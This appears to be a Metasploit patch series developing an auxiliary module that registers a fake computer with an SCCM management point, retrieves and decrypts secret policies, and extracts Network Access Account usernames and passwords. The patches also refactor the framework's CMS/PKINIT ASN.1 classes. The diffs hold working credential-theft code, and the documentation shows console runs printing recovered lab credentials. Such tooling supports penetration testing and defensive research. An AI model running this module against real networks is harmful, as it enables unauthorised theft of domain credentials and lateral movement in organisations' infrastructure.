obtain the NAA creds, if present. +5. Run the module to obtain the NAA credentials, if present. Alternatively, if the Management Point and Site Code are known, the module can be used without autodiscovery: -1. `use auxiliary/admin/sccm/get_naa_creds` +1. `use auxiliary/admin/sccm/get_naa_credentials` 2. Set the `COMPUTER_USER` and `COMPUTER_PASSWORD` to the values obtained through the `samr_computer` module 3. Set the `MANAGEMENT_POINT` and `SITE_CODE` to the known values. -4. Run the module to obtain the NAA creds, if present. +4. Run the module to obtain the NAA credentials, if present. The management point and site code can be retrieved using the `auxiliary/gather/ldap_query` module, using the `ENUM_SCCM_MANAGEMENT_POINTS` action. @@ -68,9 +68,9 @@ msf6 auxiliary(admin/dcerpc/samr_account) > run rhost=192.168.33.10 domain=sccm. Using the credentials just obtained with the `samr_account` module. ``` -msf6 auxiliary(admin/sccm/get_naa_creds) > options +msf6 auxiliary(admin/sccm/get_naa_credentials) > options -Module options (auxiliary/admin/sccm/get_naa_creds): +Module options (auxiliary/admin/sccm/get_naa_credentials): Name Current Setting Required Description ---- --------------- -------- ----------- @@ -101,7 +101,7 @@ Module options (auxiliary/admin/sccm/get_naa_creds): View the full module info with the info, or info -d command. -msf6 auxiliary(admin/sccm/get_naa_creds) > run rhost=192.168.33.10 username=eve domain=sccm.lab password=iloveyou computer_user=DESKTOP-2KVDWNZ3$ computer_pass=pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj +msf6 auxiliary(admin/sccm/get_naa_credentials) > run rhost=192.168.33.10 username=eve domain=sccm.lab password=iloveyou computer_user=DESKTOP-2KVDWNZ3$ computer_pass=pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj [*] Running module against 192.168.33.10 [*] Discovering base DN automatically @@ -110,7 +110,7 @@ msf6 auxiliary(admin/sccm/get_naa_creds) > run rhost=192.168.33.10 username=eve [*] Got SMS ID: BD0DC478-A71A-4348-BD14-B7E91335738E [*] Waiting 5 seconds for SCCM DB to update... [*] Got NAA Policy URL: http:///SMS_MP/.sms_pol?{c48754cc-090c-4c56-ba3d-532b5ce5e8a5}.2_00 -[+] Found valid NAA creds: sccm.lab\sccm-naa:123456789 +[+] Found valid NAA credentials: sccm.lab\sccm-naa:123456789 [*] Auxiliary module execution completed ``` @@ -133,13 +133,13 @@ CN=SMS-MP-P01-MECM.SCCM.LAB,CN=System Management,CN=System,DC=sccm,DC=lab [*] Query returned 1 result. [*] Auxiliary module execution completed -msf6 auxiliary(gather/ldap_query) > use auxiliary/admin/sccm/get_naa_creds +msf6 auxiliary(gather/ldap_query) > use auxiliary/admin/sccm/get_naa_credentials -msf6 auxiliary(admin/sccm/get_naa_creds) > run computer_user=DESKTOP-2KVDWNZ3$ computer_pass=pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj management_point=MECM.sccm.lab site_code=P01 +msf6 auxiliary(admin/sccm/get_naa_credentials) > run computer_user=DESKTOP-2KVDWNZ3$ computer_pass=pJTrvFyDHiHnqtlqTTNYe2HPVpO3Yekj management_point=MECM.sccm.lab site_code=P01 [*] Got SMS ID: BD0DC478-A71A-4348-BD14-B7E91335738E [*] Waiting 5 seconds for SCCM DB to update... [*] Got NAA Policy URL: http:///SMS_MP/.sms_pol?{c48754cc-090c-4c56-ba3d-532b5ce5e8a5}.2_00 -[+] Found valid NAA creds: sccm.lab\sccm-naa:123456789 +[+] Found valid NAA credentials: sccm.lab\sccm-naa:123456789 [*] Auxiliary module execution completed ``` \ No newline at end of file diff --git a/modules/auxiliary/admin/sccm/get_naa_creds.rb b/modules/auxiliary/admin/sccm/get_naa_credentials.rb similarity index 97% rename from modules/auxiliary/admin/sccm/get_naa_creds.rb rename to modules/auxiliary/admin/sccm/get_naa_credentials.rb index 57a352930801..6052da704d52 100644 --- a/modules/auxiliary/admin/sccm/get_naa_creds.rb +++ b/modules/auxiliary/admin/sccm/get_naa_credentials.rb @@ -18,7 +18,7 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'Get NAA Creds', + 'Name' => 'Get NAA Credentials', 'Description' => %q{ This module attempts to retrieve the Network Access Account, if configured, from the SCCM server. This requires a computer account, which can be added using the samr_account module. @@ -154,8 +154,12 @@ def run decrypted_policy = request_policy(http_opts, naa_policy_url, sms_id, key) results = get_creds_from_policy_doc(decrypted_policy) + if results.length == 0 + print_status('No NAA credentials configured') + end + results.each do |username, password| - print_good("Found valid NAA creds: #{username}:#{password}") + print_good("Found valid NAA credentials: #{username}:#{password}") end rescue SocketError => e fail_with(Failure::Unreachable, e.message) @@ -361,11 +365,16 @@ def get_creds_from_policy_doc(policy) naa_sections.each do |section| username = section.xpath("property[@name='NetworkAccessUsername']/value").text username = deobfuscate_policy_value(username) + username.delete_suffix!("\x00") password = section.xpath("property[@name='NetworkAccessPassword']/value").text password = deobfuscate_policy_value(password) + password.delete_suffix!("\x00") - results.add([username, password]) + unless username.blank? && password.blank? + # Deleted credentials seem to result in just an empty value for username and password + results.add([username, password]) + end end results end From 335825a02039608826d42152aa8b29e65e02e590 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Wed, 11 Dec 2024 15:12:49 +1100 Subject: [PATCH 12/19] Search for all policies with secrets, rather than just NAAConfig --- .../admin/sccm/get_naa_credentials.rb | 46 +++++++++++++------ 1 file changed, 32 insertions(+), 14 deletions(-) diff --git a/modules/auxiliary/admin/sccm/get_naa_credentials.rb b/modules/auxiliary/admin/sccm/get_naa_credentials.rb index 6052da704d52..a9527a6616cd 100644 --- a/modules/auxiliary/admin/sccm/get_naa_credentials.rb +++ b/modules/auxiliary/admin/sccm/get_naa_credentials.rb @@ -13,6 +13,7 @@ class MetasploitModule < Msf::Auxiliary include Msf::OptionalSession::LDAP KEY_SIZE = 2048 + SECRET_POLICY_FLAG = 4 def initialize(info = {}) super( @@ -150,15 +151,19 @@ def run sleep(duration) - naa_policy_url = get_policies(http_opts, management_point, site_code, key, cert, sms_id) - decrypted_policy = request_policy(http_opts, naa_policy_url, sms_id, key) - results = get_creds_from_policy_doc(decrypted_policy) + secret_urls = get_secret_policies(http_opts, management_point, site_code, key, cert, sms_id) + all_results = Set.new + secret_urls.each do |url| + decrypted_policy = request_policy(http_opts, url, sms_id, key) + results = get_creds_from_policy_doc(decrypted_policy) + all_results.merge(results) + end - if results.length == 0 + if all_results.length == 0 print_status('No NAA credentials configured') end - results.each do |username, password| + all_results.each do |username, password| print_good("Found valid NAA credentials: #{username}:#{password}") end rescue SocketError => e @@ -166,7 +171,7 @@ def run end def request_policy(http_opts, policy_url, sms_id, key) - policy_url.gsub!('http://', '') + policy_url.gsub!(/^https?:\/\//, '') policy_url = policy_url.gsub('{', '%7B').gsub('}', '%7D') now = Time.now.utc.iso8601 @@ -230,7 +235,7 @@ def request_policy(http_opts, policy_url, sms_id, key) decrypted.force_encoding('utf-16le').encode('utf-8').delete_suffix("\x00") end - def get_policies(http_opts, management_point, site_code, key, cert, sms_id) + def get_secret_policies(http_opts, management_point, site_code, key, cert, sms_id) computer_user = datastore['COMPUTER_USER'].delete_suffix('$') fqdn = "#{computer_user}.#{datastore['DOMAIN']}" hex_pub_key = make_ms_pubkey(cert.public_key) @@ -267,14 +272,27 @@ def get_policies(http_opts, management_point, site_code, key, cert, sms_id) compressed_response = Rex::Text.zlib_inflate(response.parts[1].content).force_encoding('utf-16le') xml_doc = Nokogiri::XML(compressed_response.encode('utf-8')) - naa_policy_url = xml_doc.xpath("//Policy[@PolicyCategory='NAAConfig']/PolicyLocation/text()").text - if naa_policy_url.blank? - fail_with(Failure::UnexpectedReply, 'Did not retrieve NAA Policy path') + policies = xml_doc.xpath("//Policy") + secret_policies = policies.select do |policy| + flags = policy.attributes['PolicyFlags'] + next if flags.nil? + + flags.value.to_i & SECRET_POLICY_FLAG == SECRET_POLICY_FLAG + end + + urls = secret_policies.map do |policy| + policy.xpath('PolicyLocation/text()').text end - print_status("Got NAA Policy URL: #{naa_policy_url}") + urls = urls.select do |url| + !url.blank? + end + + urls.each do |url| + print_status("Found policy containing secrets: #{url}") + end - naa_policy_url + urls end def rsa_sign(key, data) @@ -361,7 +379,7 @@ def register_request(http_opts, management_point, key, cert) def get_creds_from_policy_doc(policy) xml_doc = Nokogiri::XML(policy) naa_sections = xml_doc.xpath(".//instance[@class='CCM_NetworkAccessAccount']") - results = Set.new + results = [] naa_sections.each do |section| username = section.xpath("property[@name='NetworkAccessUsername']/value").text username = deobfuscate_policy_value(username) @@ -373,7 +391,7 @@ def get_creds_from_policy_doc(policy) unless username.blank? && password.blank? # Deleted credentials seem to result in just an empty value for username and password - results.add([username, password]) + results.append([username, password]) end end results From 556e52d1d26860aa08db618b9a11c647f2de988f Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Fri, 13 Dec 2024 16:50:33 +1100 Subject: [PATCH 13/19] Add missing option docs --- .../modules/auxiliary/admin/sccm/get_naa_credentials.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/documentation/modules/auxiliary/admin/sccm/get_naa_credentials.md b/documentation/modules/auxiliary/admin/sccm/get_naa_credentials.md index 95f8e3e4c96e..b05e36b28db7 100755 --- a/documentation/modules/auxiliary/admin/sccm/get_naa_credentials.md +++ b/documentation/modules/auxiliary/admin/sccm/get_naa_credentials.md @@ -42,6 +42,11 @@ See the Scenarios for a more detailed walk through ### RHOST, USERNAME, PASSWORD, DOMAIN, SESSION, RHOST Options used to authenticate to the Domain Controller's LDAP service for SCCM autodiscovery. +### COMPUTER_USER, COMPUTER_PASSWORD + +Credentials for a computer account (may be created with the `samr_account` module). If you've retrieved the NTLM hash of +a computer account, you can use that for COMPUTER_PASSWORD. + ### MANAGEMENT_POINT The SCCM server. From a11616d189bc6b6c2e451173be1b83ba5b2274e8 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Fri, 13 Dec 2024 17:14:52 +1100 Subject: [PATCH 14/19] Add support for older encryptions --- lib/rex/proto/crypto_asn1/o_i_ds.rb | 2 ++ .../auxiliary/admin/sccm/get_naa_credentials.rb | 17 ++++++++++++----- 2 files changed, 14 insertions(+), 5 deletions(-) diff --git a/lib/rex/proto/crypto_asn1/o_i_ds.rb b/lib/rex/proto/crypto_asn1/o_i_ds.rb index 9b1f2c751128..1a1941626533 100644 --- a/lib/rex/proto/crypto_asn1/o_i_ds.rb +++ b/lib/rex/proto/crypto_asn1/o_i_ds.rb @@ -64,7 +64,9 @@ class OIDs OID_CMS_ENVELOPED_DATA = ObjectId.new('1.2.840.113549.1.7.3', name: 'OID_CMS_ENVELOPED_DATA', label: 'PKCS#7 CMS Enveloped Data') + OID_DES_EDE3_CBC = ObjectId.new('1.2.840.113549.3.7', name: 'OID_DES_EDE_CBC', label: 'Triple DES encryption in CBC mode') OID_AES256_CBC = ObjectId.new('2.16.840.1.101.3.4.1.42', name: 'OID_AES256_CBC', label: 'AES256 in CBC mode') + OID_RSA_ENCRYPTION = ObjectId.new('1.2.840.113549.1.1.1', name: 'OID_RSA_ENCRYPTION', label: 'RSA public key encryption') OID_RSAES_OAEP = ObjectId.new('1.2.840.113549.1.1.7', name: 'OID_RSAES_OAEP', label: 'RSA public key encryption with OAEP padding') def self.name(value) diff --git a/modules/auxiliary/admin/sccm/get_naa_credentials.rb b/modules/auxiliary/admin/sccm/get_naa_credentials.rb index a9527a6616cd..b076c97cd507 100644 --- a/modules/auxiliary/admin/sccm/get_naa_credentials.rb +++ b/modules/auxiliary/admin/sccm/get_naa_credentials.rb @@ -206,23 +206,30 @@ def request_policy(http_opts, policy_url, sms_id, key) key_encryption_alg = ri[0][:ktri][:key_encryption_algorithm][:algorithm].value encrypted_rsa_key = ri[0][:ktri][:encrypted_key].value - if key_encryption_alg == Rex::Proto::CryptoAsn1::OIDs::OID_RSAES_OAEP.value + if key_encryption_alg == Rex::Proto::CryptoAsn1::OIDs::OID_RSA_ENCRYPTION.value + decrypted_key = key.private_decrypt(encrypted_rsa_key) + elsif key_encryption_alg == Rex::Proto::CryptoAsn1::OIDs::OID_RSAES_OAEP.value decrypted_key = key.private_decrypt(encrypted_rsa_key, OpenSSL::PKey::RSA::PKCS1_OAEP_PADDING) else fail_with(Failure::UnexpectedReply, "Key encryption routine is currently unsupported: #{key_encryption_alg}") end cea = cms_envelope[:encrypted_content_info][:content_encryption_algorithm] - if cea[:algorithm].value == Rex::Proto::CryptoAsn1::OIDs::OID_AES256_CBC.value - if decrypted_key.length != 32 + algorithms = { + Rex::Proto::CryptoAsn1::OIDs::OID_AES256_CBC.value => {:iv_length => 16, :key_length => 32, :cipher_name => 'aes-256-cbc'}, + Rex::Proto::CryptoAsn1::OIDs::OID_DES_EDE3_CBC.value => {:iv_length => 8, :key_length => 24, :cipher_name => 'des-ede3-cbc'} + } + if algorithms.include?(cea[:algorithm].value) + alg_hash = algorithms[cea[:algorithm].value] + if decrypted_key.length != alg_hash[:key_length] fail_with(Failure::UnexpectedReply, "Bad key length: #{decrypted_key.length}") end iv = RASN1::Types::OctetString.new iv.parse!(cea[:parameters].value) - if iv.value.length != 16 + if iv.value.length != alg_hash[:iv_length] fail_with(Failure::UnexpectedReply, "Bad IV length: #{iv.length}") end - cipher = OpenSSL::Cipher.new('aes-256-cbc') + cipher = OpenSSL::Cipher.new(alg_hash[:cipher_name]) cipher.decrypt cipher.key = decrypted_key cipher.iv = iv.value From ad44afee011aee90d0c5301ae2ed92442887e3b8 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Fri, 13 Dec 2024 17:17:51 +1100 Subject: [PATCH 15/19] Rubocop fixes --- .../admin/sccm/get_naa_credentials.rb | 18 ++++++++---------- 1 file changed, 8 insertions(+), 10 deletions(-) diff --git a/modules/auxiliary/admin/sccm/get_naa_credentials.rb b/modules/auxiliary/admin/sccm/get_naa_credentials.rb index b076c97cd507..974680a5e7fa 100644 --- a/modules/auxiliary/admin/sccm/get_naa_credentials.rb +++ b/modules/auxiliary/admin/sccm/get_naa_credentials.rb @@ -159,7 +159,7 @@ def run all_results.merge(results) end - if all_results.length == 0 + if all_results.empty? print_status('No NAA credentials configured') end @@ -171,7 +171,7 @@ def run end def request_policy(http_opts, policy_url, sms_id, key) - policy_url.gsub!(/^https?:\/\//, '') + policy_url.gsub!(%r{^https?://}, '') policy_url = policy_url.gsub('{', '%7B').gsub('}', '%7D') now = Time.now.utc.iso8601 @@ -216,8 +216,8 @@ def request_policy(http_opts, policy_url, sms_id, key) cea = cms_envelope[:encrypted_content_info][:content_encryption_algorithm] algorithms = { - Rex::Proto::CryptoAsn1::OIDs::OID_AES256_CBC.value => {:iv_length => 16, :key_length => 32, :cipher_name => 'aes-256-cbc'}, - Rex::Proto::CryptoAsn1::OIDs::OID_DES_EDE3_CBC.value => {:iv_length => 8, :key_length => 24, :cipher_name => 'des-ede3-cbc'} + Rex::Proto::CryptoAsn1::OIDs::OID_AES256_CBC.value => { iv_length: 16, key_length: 32, cipher_name: 'aes-256-cbc' }, + Rex::Proto::CryptoAsn1::OIDs::OID_DES_EDE3_CBC.value => { iv_length: 8, key_length: 24, cipher_name: 'des-ede3-cbc' } } if algorithms.include?(cea[:algorithm].value) alg_hash = algorithms[cea[:algorithm].value] @@ -279,7 +279,7 @@ def get_secret_policies(http_opts, management_point, site_code, key, cert, sms_i compressed_response = Rex::Text.zlib_inflate(response.parts[1].content).force_encoding('utf-16le') xml_doc = Nokogiri::XML(compressed_response.encode('utf-8')) - policies = xml_doc.xpath("//Policy") + policies = xml_doc.xpath('//Policy') secret_policies = policies.select do |policy| flags = policy.attributes['PolicyFlags'] next if flags.nil? @@ -291,9 +291,7 @@ def get_secret_policies(http_opts, management_point, site_code, key, cert, sms_i policy.xpath('PolicyLocation/text()').text end - urls = urls.select do |url| - !url.blank? - end + urls = urls.reject(&:blank?) urls.each do |url| print_status("Found policy containing secrets: #{url}") @@ -356,7 +354,7 @@ def register_request(http_opts, management_point, key, cert) fail_with(Failure::Unreachable, 'No response from server') end response = Rex::MIME::Message.new(http_response.to_s) - if response.parts.length == 0 + if response.parts.empty? html_doc = Nokogiri::HTML(http_response.to_s) error = html_doc.xpath('//title').text if error.blank? @@ -373,7 +371,7 @@ def register_request(http_opts, management_point, key, cert) sms_id = xml_doc.root&.attributes&.[]('SMSID')&.value&.delete_prefix('GUID:') if sms_id.nil? approval = xml_doc.root&.attributes&.[]('ApprovalStatus')&.value - if approval == "-1" + if approval == '-1' fail_with(Failure::UnexpectedReply, 'Client registration not approved by SCCM server') end fail_with(Failure::UnexpectedReply, 'Did not retrieve SMS ID') From 4c7d1d80798b11d4345fabecc17377fc5cc63664 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Fri, 13 Dec 2024 17:25:23 +1100 Subject: [PATCH 16/19] Changes from code review --- lib/msf/core/optional_session.rb | 4 ++-- .../auxiliary/admin/sccm/get_naa_credentials.rb | 17 ++--------------- 2 files changed, 4 insertions(+), 17 deletions(-) diff --git a/lib/msf/core/optional_session.rb b/lib/msf/core/optional_session.rb index ab0b255cdcb3..8b4224514e65 100644 --- a/lib/msf/core/optional_session.rb +++ b/lib/msf/core/optional_session.rb @@ -10,7 +10,7 @@ module OptionalSession attr_accessor :session_or_rhost_required - def session_or_rhost_required + def session_or_rhost_required? @session_or_rhost_required.nil? ? true : @session_or_rhost_required end @@ -24,7 +24,7 @@ def validate validate_session elsif rhost validate_rhost - elsif session_or_rhost_required + elsif session_or_rhost_required? raise Msf::OptionValidateError.new(message: 'A SESSION or RHOST must be provided') end end diff --git a/modules/auxiliary/admin/sccm/get_naa_credentials.rb b/modules/auxiliary/admin/sccm/get_naa_credentials.rb index 974680a5e7fa..ceb8a6fea7d9 100644 --- a/modules/auxiliary/admin/sccm/get_naa_credentials.rb +++ b/modules/auxiliary/admin/sccm/get_naa_credentials.rb @@ -56,18 +56,6 @@ def initialize(info = {}) @session_or_rhost_required = false end - def fail_with_ldap_error(message) - ldap_result = @ldap.get_operation_result.table - return if ldap_result[:code] == 0 - - print_error(message) - if ldap_result[:code] == 16 - fail_with(Failure::NotFound, 'The LDAP operation failed because the referenced attribute does not exist. Ensure you are targeting a domain controller running at least Server 2016.') - else - validate_query_result!(ldap_result) - end - end - def find_management_point ldap_connect do |ldap| validate_bind_success!(ldap) @@ -80,11 +68,10 @@ def find_management_point if (@base_dn = ldap.base_dn) print_status("#{ldap.peerinfo} Discovered base DN: #{@base_dn}") else - print_warning("Couldn't discover base DN!") + fail_with(Failure::UnexpectedReply, "Couldn't discover base DN!") end end - @ldap = ldap - raw_objects = @ldap.search(base: @base_dn, filter: '(objectclass=mssmsmanagementpoint)', attributes: ['*']) + raw_objects = ldap.search(base: @base_dn, filter: '(objectclass=mssmsmanagementpoint)', attributes: ['*']) return nil unless raw_objects.any? raw_obj = raw_objects.first From 7badd24b72af949f01f2d3f42ec811ea32319c26 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Mon, 16 Dec 2024 09:14:21 +1100 Subject: [PATCH 17/19] Removed unused sccm file --- lib/msf/core/exploit/remote/sccm.rb | 0 1 file changed, 0 insertions(+), 0 deletions(-) delete mode 100755 lib/msf/core/exploit/remote/sccm.rb diff --git a/lib/msf/core/exploit/remote/sccm.rb b/lib/msf/core/exploit/remote/sccm.rb deleted file mode 100755 index e69de29bb2d1..000000000000 From c6e3df85bba502c90f9649e6a05201cba9204988 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Mon, 16 Dec 2024 20:39:30 +1100 Subject: [PATCH 18/19] Report creds to DB --- .../admin/sccm/get_naa_credentials.rb | 45 +++++++++++++++++-- 1 file changed, 41 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/admin/sccm/get_naa_credentials.rb b/modules/auxiliary/admin/sccm/get_naa_credentials.rb index ceb8a6fea7d9..81f8de635104 100644 --- a/modules/auxiliary/admin/sccm/get_naa_credentials.rb +++ b/modules/auxiliary/admin/sccm/get_naa_credentials.rb @@ -21,7 +21,7 @@ def initialize(info = {}) info, 'Name' => 'Get NAA Credentials', 'Description' => %q{ - This module attempts to retrieve the Network Access Account, if configured, from the SCCM server. + This module attempts to retrieve the Network Access Account(s), if configured, from the SCCM server. This requires a computer account, which can be added using the samr_account module. }, 'Author' => [ @@ -132,7 +132,7 @@ def run } } - sms_id = register_request(http_opts, management_point, key, cert) + sms_id, ip_address = register_request(http_opts, management_point, key, cert) duration = 5 print_status("Waiting #{duration} seconds for SCCM DB to update...") @@ -151,12 +151,14 @@ def run end all_results.each do |username, password| + report_creds(ip_address, username, password) print_good("Found valid NAA credentials: #{username}:#{password}") end rescue SocketError => e fail_with(Failure::Unreachable, e.message) end + # Request the policy from the policy_url def request_policy(http_opts, policy_url, sms_id, key) policy_url.gsub!(%r{^https?://}, '') policy_url = policy_url.gsub('{', '%7B').gsub('}', '%7D') @@ -229,6 +231,7 @@ def request_policy(http_opts, policy_url, sms_id, key) decrypted.force_encoding('utf-16le').encode('utf-8').delete_suffix("\x00") end + # Retrieve all the policies with secret components in them def get_secret_policies(http_opts, management_point, site_code, key, cert, sms_id) computer_user = datastore['COMPUTER_USER'].delete_suffix('$') fqdn = "#{computer_user}.#{datastore['DOMAIN']}" @@ -287,6 +290,7 @@ def get_secret_policies(http_opts, management_point, site_code, key, cert, sms_i urls end + # Sign the data using the RSA key, and reverse it (strange, but it's what's required) def rsa_sign(key, data) signature = key.sign(OpenSSL::Digest.new('SHA256'), data) signature.reverse! @@ -294,8 +298,8 @@ def rsa_sign(key, data) signature.unpack('H*')[0].upcase end + # Make a pubkey structure (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqqb/ade9efde-3ec8-4e47-9ae9-34b64d8081bb) def make_ms_pubkey(pub_key) - # https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqqb/ade9efde-3ec8-4e47-9ae9-34b64d8081bb result = "\x06\x02\x00\x00\x00\xA4\x00\x00\x52\x53\x41\x31" result += [KEY_SIZE, pub_key.e].pack('II') result += [pub_key.n.to_s(16)].pack('H*') @@ -303,6 +307,7 @@ def make_ms_pubkey(pub_key) result.unpack('H*')[0] end + # Make a request to the SCCM server to register our computer def register_request(http_opts, management_point, key, cert) pub_key = cert.to_der.unpack('H*')[0].upcase @@ -340,6 +345,7 @@ def register_request(http_opts, management_point, key, cert) if http_response.nil? fail_with(Failure::Unreachable, 'No response from server') end + ip_address = http_response.peerinfo['addr'] response = Rex::MIME::Message.new(http_response.to_s) if response.parts.empty? html_doc = Nokogiri::HTML(http_response.to_s) @@ -365,9 +371,10 @@ def register_request(http_opts, management_point, key, cert) end print_status("Got SMS ID: #{sms_id}") - sms_id + [sms_id, ip_address] end + # Extract obfuscated credentials from the resulting policy XML document def get_creds_from_policy_doc(policy) xml_doc = Nokogiri::XML(policy) naa_sections = xml_doc.xpath(".//instance[@class='CCM_NetworkAccessAccount']") @@ -428,6 +435,7 @@ def mscrypt_derive_key_sha1(secret) hash1 + hash2[0..3] end + ## Create a self-signed private key and certificate for our computer registration def generate_key_and_cert(subject) key = OpenSSL::PKey::RSA.new(KEY_SIZE) cert = OpenSSL::X509::Certificate.new @@ -450,4 +458,33 @@ def generate_key_and_cert(subject) [key, cert] end + + def report_creds(ip_address, user, password) + service_data = { + address: ip_address, + port: rport, + protocol: 'tcp', + service_name: 'sccm', + workspace_id: myworkspace_id + } + + domain, account = user.split(/\\/) + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: account, + private_data: password, + private_type: :password, + realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN, + realm_value: domain + } + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + create_credential_login(login_data.merge(service_data)) + end end From 49c8c8a40df922f24d0f87ab8e70bad38a9a13f6 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Fri, 20 Dec 2024 12:17:16 +1100 Subject: [PATCH 19/19] Refactor CMS data structures used in pkinit functionality --- .../exploit/remote/kerberos/client/pkinit.rb | 10 +- lib/msf/core/exploit/remote/ms_icpr.rb | 10 +- lib/rex/proto/crypto_asn1/cms.rb | 45 +++++- lib/rex/proto/crypto_asn1/o_i_ds.rb | 3 + lib/rex/proto/crypto_asn1/x509.rb | 8 + lib/rex/proto/kerberos/model/pkinit.rb | 145 +----------------- .../kerberos/model/pre_auth_pk_as_rep.rb | 2 +- .../kerberos/model/pre_auth_pk_as_req.rb | 2 +- .../msf/core/exploit/remote/ms_icpr_spec.rb | 4 +- .../auxiliary/admin/dcerpc/icpr_cert_spec.rb | 4 +- 10 files changed, 72 insertions(+), 161 deletions(-) diff --git a/lib/msf/core/exploit/remote/kerberos/client/pkinit.rb b/lib/msf/core/exploit/remote/kerberos/client/pkinit.rb index 58ddfcfa1372..fd9176fe465e 100644 --- a/lib/msf/core/exploit/remote/kerberos/client/pkinit.rb +++ b/lib/msf/core/exploit/remote/kerberos/client/pkinit.rb @@ -238,9 +238,9 @@ def build_pa_pk_as_req(pfx, dh, dh_nonce, request_body, opts) # @param auth_pack [Rex::Proto::Kerberos::Model::Pkinit::AuthPack] The AuthPack to sign # @param key [OpenSSL::PKey] The private key to digitally sign the data # @param dh [OpenSSL::X509::Certificate] The certificate associated with the private key - # @return [Rex::Proto::Kerberos::Model::Pkinit::ContentInfo] The signed AuthPack + # @return [Rex::Proto::CryptoAsn1::Cms::ContentInfo] The signed AuthPack def sign_auth_pack(auth_pack, key, certificate) - signer_info = Rex::Proto::Kerberos::Model::Pkinit::SignerInfo.new( + signer_info = Rex::Proto::CryptoAsn1::Cms::SignerInfo.new( version: 1, sid: { issuer: certificate.issuer, @@ -268,7 +268,7 @@ def sign_auth_pack(auth_pack, key, certificate) signer_info[:signature] = signature - signed_data = Rex::Proto::Kerberos::Model::Pkinit::SignedData.new( + signed_data = Rex::Proto::CryptoAsn1::Cms::SignedData.new( version: 3, digest_algorithms: [ { @@ -283,9 +283,9 @@ def sign_auth_pack(auth_pack, key, certificate) signer_infos: [signer_info] ) - Rex::Proto::Kerberos::Model::Pkinit::ContentInfo.new( + Rex::Proto::CryptoAsn1::Cms::ContentInfo.new( content_type: Rex::Proto::Kerberos::Model::OID::SignedData, - signed_data: signed_data + data: signed_data ) end end diff --git a/lib/msf/core/exploit/remote/ms_icpr.rb b/lib/msf/core/exploit/remote/ms_icpr.rb index 925baa796dd0..ba2d404dd896 100644 --- a/lib/msf/core/exploit/remote/ms_icpr.rb +++ b/lib/msf/core/exploit/remote/ms_icpr.rb @@ -299,7 +299,7 @@ def build_csr(cn:, private_key:, dns: nil, msext_sid: nil, msext_upn: nil, algor # @param [OpenSSL::X509::Certificate] cert The public key to use for signing the request. # @param [OpenSSL::PKey::RSA] key The private key to use for signing the request. # @param [String] algorithm The digest algorithm to use. - # @return [Rex::Proto::Kerberos::Model::Pkinit::ContentInfo] The signed request content. + # @return [Rex::Proto::CryptoAsn1::Cms::ContentInfo] The signed request content. def build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256') # algorithm needs to be one that OpenSSL supports, but we also need the OID constants defined digest = OpenSSL::Digest.new(algorithm) @@ -309,7 +309,7 @@ def build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256') digest_oid = Rex::Proto::Kerberos::Model::OID.const_get(digest.name) - signer_info = Rex::Proto::Kerberos::Model::Pkinit::SignerInfo.new( + signer_info = Rex::Proto::CryptoAsn1::Cms::SignerInfo.new( version: 1, sid: { issuer: cert.issuer, @@ -342,7 +342,7 @@ def build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256') signer_info[:signature] = signature - signed_data = Rex::Proto::Kerberos::Model::Pkinit::SignedData.new( + signed_data = Rex::Proto::CryptoAsn1::Cms::SignedData.new( version: 3, digest_algorithms: [ { @@ -357,9 +357,9 @@ def build_on_behalf_of(csr:, on_behalf_of:, cert:, key:, algorithm: 'SHA256') signer_infos: [signer_info] ) - Rex::Proto::Kerberos::Model::Pkinit::ContentInfo.new( + Rex::Proto::CryptoAsn1::Cms::ContentInfo.new( content_type: Rex::Proto::Kerberos::Model::OID::SignedData, - signed_data: signed_data + data: signed_data ) end diff --git a/lib/rex/proto/crypto_asn1/cms.rb b/lib/rex/proto/crypto_asn1/cms.rb index 5c69b5b6441f..f1a1674a4422 100755 --- a/lib/rex/proto/crypto_asn1/cms.rb +++ b/lib/rex/proto/crypto_asn1/cms.rb @@ -236,10 +236,47 @@ class EnvelopedData < RASN1::Model ] end + class SignerInfo < RASN1::Model + sequence :signer_info, + content: [integer(:version), + model(:sid, IssuerAndSerialNumber), + model(:digest_algorithm, AlgorithmIdentifier), + set_of(:signed_attrs, Attribute, implicit: 0, optional: true), + model(:signature_algorithm, AlgorithmIdentifier), + octet_string(:signature), + ] + end + + class EncapsulatedContentInfo < RASN1::Model + sequence :encapsulated_content_info, + content: [objectid(:econtent_type), + octet_string(:econtent, explicit: 0, constructed: true, optional: true) + ] + + def econtent + if self[:econtent_type].value == Rex::Proto::CryptoAsn1::OIDs::OID_DIFFIE_HELLMAN_KEYDATA.value + Rex::Proto::Kerberos::Model::Pkinit::KdcDhKeyInfo.parse(self[:econtent].value) + elsif self[:econtent_type].value == Rex::Proto::Kerberos::Model::OID::PkinitAuthData + Rex::Proto::Kerberos::Model::Pkinit::AuthPack.parse(self[:econtent].value) + end + end + end + + class SignedData < RASN1::Model + sequence :signed_data, + explicit: 0, constructed: true, + content: [integer(:version), + set_of(:digest_algorithms, AlgorithmIdentifier), + model(:encap_content_info, EncapsulatedContentInfo), + set_of(:certificates, Certificate, implicit: 0, optional: true), + # CRLs - not implemented + set_of(:signer_infos, SignerInfo) + ] + end + class ContentInfo < RASN1::Model sequence :content_info, content: [model(:content_type, ContentType), - # In our case, expected to be 